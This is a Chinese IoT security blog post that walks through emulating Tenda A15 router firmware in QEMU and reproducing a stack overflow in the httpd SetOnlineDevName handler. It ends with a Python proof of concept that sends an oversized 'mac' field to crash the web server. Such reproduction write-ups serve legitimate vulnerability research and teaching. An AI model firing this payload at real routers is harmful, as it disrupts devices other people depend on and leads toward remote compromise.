refer:[IOT漏洞挖掘初体验-Tenda A15 | Zach0ry’s blog](https://zach0ry-zzh.github.io/2026/04/04/Tenda A15 固件模拟与漏洞复现/)

[原创][分享][注意][分享]Tenda A15 固件模拟与漏洞复现-二进制漏洞-看雪安全社区|专业技术交流与安全研究论坛

前言

最近在pwn大手子的带领下逐渐学习物联网安全,想着先复现一个典型漏洞看看。

首先需要准备以下工作:
1.安装binwalk

binwalk是一把利刃。kali内置了binwalk,如果直接sudo apt install binwalk可能会使用的时候报错,原因可能是因为python包环境冲突,解决办法是删除冲突的环境,这里以我的为例:

1
2
3
4
python3 -m pip uninstall -y binwalk
rm -rf ~/.local/lib/python3.12/site-packages/binwalk*
sudo apt install --reinstall python3-binwalk binwalk -y
hash -r

2.安装sasquatch
直接克隆仓库即可

1
2
git clone https://github.com/devttys0/sasquatch.git
cd sasquatch

我当时报了这个错误:
image-20260414213325738

这里参考了https://xu17.top/2025/02/15/IOT%20%E5%9B%BA%E4%BB%B6%E5%88%86%E6%9E%90%E8%A7%A3%E5%8E%8B%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/的解决办法

如下:
(虽然还会继续报错但是不影响日常使用了)

1
2
3
4
#在sasquatch  目录
sudo wget https://github.com/devttys0/sasquatch/pull/47.patch
sudo patch -p1 < 47.patch
sudo ./build.sh

输入which sasquatch正常回显就说明成功了

3.qemu

这里需要安装qemu-mipsel-static qemu-system-mipsel这俩工具,用于在不同的系统架构上去模拟,用来执行目标程序

安装方法可以问AI,这里不多说了

固件解包与环境模拟

输入命令:binwalk -Me IOT.bin解包固件,出来一个文件系统

固件下载地址:https://static.tenda.com.cn/tdeweb/download/A15/US_A15V1.0RTL_V15.13.07.13_multi_TD01.zip

这里咱们需要关注bin目录下的httpd文件

1
2
3
> file httpd
httpd: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, with debug_info, not stripped

通过file命令,足以看出这是32位可执行文件,我们还可用checksec辅助判断一下:

1
2
3
4
5
6
7
8
9
> pwn checksec httpd
[*] '/home/kali/Downloads/_US_A15V1.0RTL_V15.13.07.13_multi_TD01.bin.extracted/squashfs-root/bin/httpd'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments

说实话明显看出可能存在栈漏洞,具体的还需要进入程序分析

image-20260415174627965

看到这是main函数,接下来用qemu模拟

需要注意,我们由于提取出了完整的文件系统,这里一般要把根目录设置成文件系统的路径,在这里至少先模拟出程序的运行环境

将 x86 架构下的 MIPS 翻译器(QEMU)复制到当前假根目录中:

1
cp $(which qemu-mipsel-static) .

然后运行:> sudo chroot . ./qemu-mipsel-static ./bin/httpd

不出意外的话会报错:
image-20260415201702933

这里是因为我们qemu直接模拟执行,缺乏“开机”这个步骤,这个步骤会生成一些必须文件等关键操作,可以参考本文引用的两篇文章的描述:

在真实的 IoT 设备中,根文件系统(也就是提取出来的 squashfs)通常是只读的(Read-Only)

但是,httpd 服务在运行时,必须生成一些动态数据,比如:

  • 记录当前进程号的 PID 文件
  • 用户的 Session 缓存、临时上传的配置文件。
  • 运行时的网络状态(/var/run)。

真实路由器的做法:在系统刚通电开机时,操作系统的启动脚本(init)会在内存中划分出一块区域(tmpfs,也就是内存虚拟盘),然后把 /var/tmp 等需要频繁读写的目录挂载到这个内存盘上。接着,它会把出厂默认的配置文件(存放在以 _ro 即 Read-Only 结尾的目录里)复制到真正的运行目录中。

我们的模拟环境:提取出的 squashfs-root 只是固件在关机状态下的静态文件。它缺少了开机时动态创建的那些目录,而且真正的配置文件还在 etc_ro 里睡大觉,真正的网页文件还在 webroot_ro 里。

在目录etc_ro中有init.d目录,其中的文件就是启动项,但是不能直接去启动它,因为它包含 mount -t ramfs 等命令会因为权限问题报错并且/sbin/etc 等绝对路径与实际不符合

解决办法是补环境

查看etc_ro内的文件:这就是开机初始化脚本rCs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#! /bin/sh

PATH=/sbin:/bin:/usr/sbin:/usr/bin/
export PATH

mount -t ramfs none /var/


mkdir -p /var/etc
mkdir -p /var/media
mkdir -p /var/webroot
mkdir -p /var/etc/iproute
mkdir -p /var/run
mkdir -p /etc/udhcpc
mkdir -p /var/debug

cp -rf /etc_ro/* /etc/
cp -rf /webroot_ro/* /webroot/
umount -f /tmp
mount -t tmpfs none /tmp -o size=3M
mount -a

mount -t ramfs /dev
mkdir /dev/pts
mount -t devpts devpts /dev/pts
mdev -s
mkdir /var/run

echo '/sbin/mdev' > /proc/sys/kernel/hotplug
#echo 'sd[a-z][0-9] 0:0 0660 @/usr/sbin/autoUsb.sh $MDEV' >> /etc/mdev.conf
#echo 'sd[a-z] 0:0 0660 $/usr/sbin/DelUsb.sh $MDEV' >> /etc/mdev.conf
#echo 'lp[0-9] 0:0 0660 */usr/sbin/IppPrint.sh'>> /etc/mdev.conf
#wds rule start
#echo 'wds*.* 0:0 0660 */etc/wds.sh $ACTION $INTERFACE' > /etc/mdev.conf
#wsd rule end
echo 'sd[a-z][0-9] 0:0 0660 @/usr/sbin/usb_up.sh $MDEV $DEVPATH' >> /etc/mdev.conf
echo '-sd[a-z] 0:0 0660 $/usr/sbin/usb_down.sh $MDEV $DEVPATH'>> /etc/mdev.conf
echo 'sd[a-z] 0:0 0660 @/usr/sbin/usb_up.sh $MDEV $DEVPATH'>> /etc/mdev.conf
echo '.* 0:0 0660 */usr/sbin/IppPrint.sh $ACTION $INTERFACE'>> /etc/mdev.conf
mkdir -p /var/ppp
# insmod /lib/modules/fastnat.ko
insmod /lib/modules/bm.ko
#insmod /lib/modules/ai.ko
# insmod /lib/modules/mac_filter.ko
#insmod /lib/modules/ip_mac_bind.ko
# insmod /lib/modules/privilege_ip.ko
# insmod /lib/modules/qos.ko
# insmod /lib/modules/url_filter.ko
# insmod /lib/modules/loadbalance.ko
#insmod /lib/modules/app_filter.ko
#insmod /lib/modules/port_filter.ko
#insmod /lib/modules/arp_fence.ko
#insmod /lib/modules/ddos_ip_fence.ko
echo "enable 0 interval 0" >/proc/watchdog_cmd
chmod +x /etc/mdev.conf

/*
BUG[41877]:DUT播放组播视频,概率性出现有线PC无法进入管理界面
解决SWITCH WAN口学到IP地址和BR0相同的arp表的问题
*/
echo 2 > /proc/sys/net/ipv4/conf/eth1/arp_ignore

看大佬的博客,解决办法如下:

1。先按照启动脚本的思路,补充一些文件/文件夹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mkdir -p ./var/etc
mkdir -p ./var/media
mkdir -p ./var/webroot
mkdir -p ./var/etc/iproute
mkdir -p ./var/run
mkdir -p ./var/etc/udhcpc
mkdir -p ./var/debug
mkdir -p ./dev/pts
mkdir -p ./var/ppp
mkdir -p ./tmp

cp -rf ./etc_ro/* ./var/etc/
cp -rf ./webroot_ro/* ./var/webroot

2。挂载(Mount):给程序装上“传感器,procsysdev ,路由器程序(httpd)运行的时候,会去 /proc 里看系统状态。如果不挂载,它看到的文件夹就是空的,它会觉得自己跑在一个“死掉”的系统里,然后直接报错退出。

1
2
3
sudo mount -t proc /proc ./proc
sudo mount -t sysfs /sys ./sys
sudo mount --bind /dev ./dev

3.软链接

1
sudo ln -snf ./var/webroot ./webroot

4.网卡接口配置

为了“伪造”出路由器程序赖以生存的硬件环境,并打通与该程序之间的通信链路,让固件正常运行,我们必须在 Linux 内核中伪造出它所需的网络拓扑

image-20260415202818886

可以看到是br0和80端口

运行下列命令:

1
2
3
sudo brctl addbr br0
sudo ip addr add 192.168.0.1/24 dev br0
sudo ip link set br0 up

继续运行:sudo chroot . ./qemu-mipsel-static ./bin/httpd

可以在相应的IP访问到网站,说明绑定成功:
image-20260415203113688

Tenda_AC15漏洞复现 | Thir0th’s Blog师傅博客,可以patch下httpd以便捷搭建复现环境,但是我没有尝试

漏洞分析

首先进入initwebs函数分析(main函数调用,通过函数名推测是一个初始化函数)

image-20260415204102611

这里面还有一张这就是腾达(Tenda)路由器网页后台的「功能菜单总表」

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void formDefineTendDa()
{
websAspDefine("aspGetCharset", aspGetCharset);
websFormDefine("getOnlineList", formGetOnlineList);
websAspDefine("asp_error_message", asp_error_message);
websAspDefine("asp_error_redirect_url", asp_error_redirect_url);
websFormDefine("SetOnlineDevName", formSetDeviceName);
websFormDefine("setBlackRule", formAddMacfilterRule);
websFormDefine("delBlackRule", formDelMacfilterRule);
websFormDefine("getBlackRuleList", formGetMacfilterRuleList);
websFormDefine("getDeviceInfo", formGetDeviceInfo);
websFormDefine("telnet", TendaTelnet);
websFormDefine("SysToolReboot", fromSysToolReboot);
websFormDefine("SysToolRestoreSet", fromSysToolRestoreSet);
websFormDefine("SysToolChangePwd", fromSysToolChangePwd);
websFormDefine("SysToolSetUpgrade", fromSysToolSetUpgrade);
websFormDefine("WifiBasicGet", formWifiBasicGet);
websFormDefine("WifiBasicSet", formWifiBasicSet);
websFormDefine("WifiApScan", formWifiApScan);
websFormDefine("ate", TendaAte);
websFormDefine("setApModeCfg", fromsetApModeCfg);
websFormDefine("getApModeCfg", fromgetApModeCfg);
websFormDefine("WifiExtraSet", fromSetWirelessRepeat);
websFormDefine("getQuicksetBridge", fromGetWirelessRepeat);
websFormDefine("getStatusBeforeBridge", fromGetWirelessRepeat);
websFormDefine("exit", formExit);
websFormDefine("hasLoginPwd", formhasLoginPwd);
websFormDefine("loginOut", fromLoginOut);
websFormDefine("sysToolsInfo", fromSysToolsInfo);
}

大佬说关注set之类的函数,和数据读写有关,可能存在栈溢出这种漏洞

分析处理SetOnlineDevName 请求的formSetDeviceName 函数,其中的set_device_name发现漏洞

在常规 Pwn 题里,接收输入的是 read(0, buf, size) 或者 gets(buf),直接从标准输入流读。

而在 Tenda 路由器的 formSetDeviceName 函数里,它绝对不会调用 scanfread 等待你输入。websFormHandler 会把 HTTP POST 请求全部接收完毕,并解析成了内存里的一个字典结构

这是大佬给的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
from pwn import cyclic

ip = '192.168.0.1' # 填网桥 IP
url = f'http://{ip}/goform/SetOnlineDevName'

# 结合优势:攻击 mac 字段,并使用 4000 字节的超大探针!
payload = {
"mac": cyclic(4000),
"devName": "devname1"
}

print("[*] 正在发送 4000 字节的终极探针...")
try:
requests.post(url=url , data=payload, timeout=2)
except Exception:
print("[+] 目标已彻底断开,绝对当场暴毙!")

如果失败,需要patch一下程序的某个字节

看大佬博客,是在下图抛出错误的

image-20260415204813384

需要nop掉灰色方框的语句